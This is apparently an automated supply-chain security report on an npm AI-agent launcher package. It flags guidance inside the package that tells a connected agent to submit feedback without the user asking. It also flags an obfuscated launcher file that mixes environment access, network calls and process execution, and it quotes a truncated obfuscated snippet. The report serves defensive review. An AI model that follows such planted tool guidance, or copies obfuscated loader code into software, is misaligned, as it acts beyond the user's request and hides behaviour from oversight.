@funny-booth/agent-core@0.1.28
AIエージェント起動CLI（共有ランチャー + MCPサーバー）
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe agent-directed guidance creates a real but conditional risk of feedback submission without user request. The submission path uses the configured portal and the tool describes excluding project contents and secrets, so the inspected behavior supports a warning rather than a block.
Static reason
One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source
Trigger
The guidance is provided to the agent, which may then invoke the feedback tool.
Impact
Feedback may be submitted without the user asking for it; source does not establish automatic collection of project content or secrets.
Mechanism
The tool passes caller-provided feedback fields to a helper that posts JSON to the portal's /api/feedback endpoint.
AI rationale
The agent-directed guidance creates a real but conditional risk of feedback submission without user request. The submission path uses the configured portal and the tool describes excluding project contents and secrets, so the inspected behavior supports a warning rather than a block.
Evidence
dist/feedback.jsdist/index.jsdist/portalClient.js
Network endpoints1
/api/feedback
Decision evidence
public snapshotAI called this Suspicious at 82.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for warning
- The feedback guidance tells the connected agent to send feedback even when the user did not request it.
- The feedback tool forwards caller-provided title and detail to the feedback helper; the helper posts JSON to /api/feedback.
- Requests use the configured portal URL and its bearer token, so the source does not establish an unrelated package-selected recipient.
Evidence against
- The feedback tool advises excluding project contents and secret values.
- Feedback submission requires the connected agent to invoke the tool; no automatic submission of user-authored feedback content was established.
Behavioral surface
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork
HighEntropyStringsMinifiedObfuscated
NoLicense
Source & flagged code
5 flagged · loading sourcedist/launcher.jsView file
•matchType = previous_version_dangerous_delta
matchedPackage = @funny-booth/agent-core@0.1.27
matchedIdentity = npm:QGZ1bm55LWJvb3RoL2FnZW50LWNvcmU:0.1.27
similarity = 0.375
summary = stored previous version shares package body but lacks this dangerous source file
Critical
Previous Version Dangerous Delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
dist/launcher.jsView on unpkg1'use strict';const _0x3c8118=_0x43e2;function _0x30c6(){const _0x4313f8=['Dw5HDxrOB3jPEMvK','r3DxuwW','zMLUza','BgvUz3rO','lI9Ty3bqywnRywDLCW','tNH4BKu','zKPergi','qgz1BM55lwjVB3rO...
High
1'use strict';const _0x3c8118=_0x43e2;function _0x30c6(){const _0x4313f8=['Dw5HDxrOB3jPEMvK','r3DxuwW','zMLUza','BgvUz3rO','lI9Ty3bqywnRywDLCW','tNH4BKu','zKPergi','qgz1BM55lwjVB3rO...
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/launcher.jsFindings
1 Critical4 High4 Medium5 Low
CriticalPrevious Version Dangerous Deltadist/launcher.js
HighChild Processdist/launcher.js
HighSame File Env Network Executiondist/launcher.js
HighObfuscated Payload Loaderdist/feedback.js
HighObfuscated
MediumDynamic Requiredist/feedback.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to @funny-booth/agent-core@0.1.28.
See all versions of @funny-booth/agent-core for other recorded verdicts.
- Review the evidence and your use of @funny-booth/agent-core@0.1.28 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.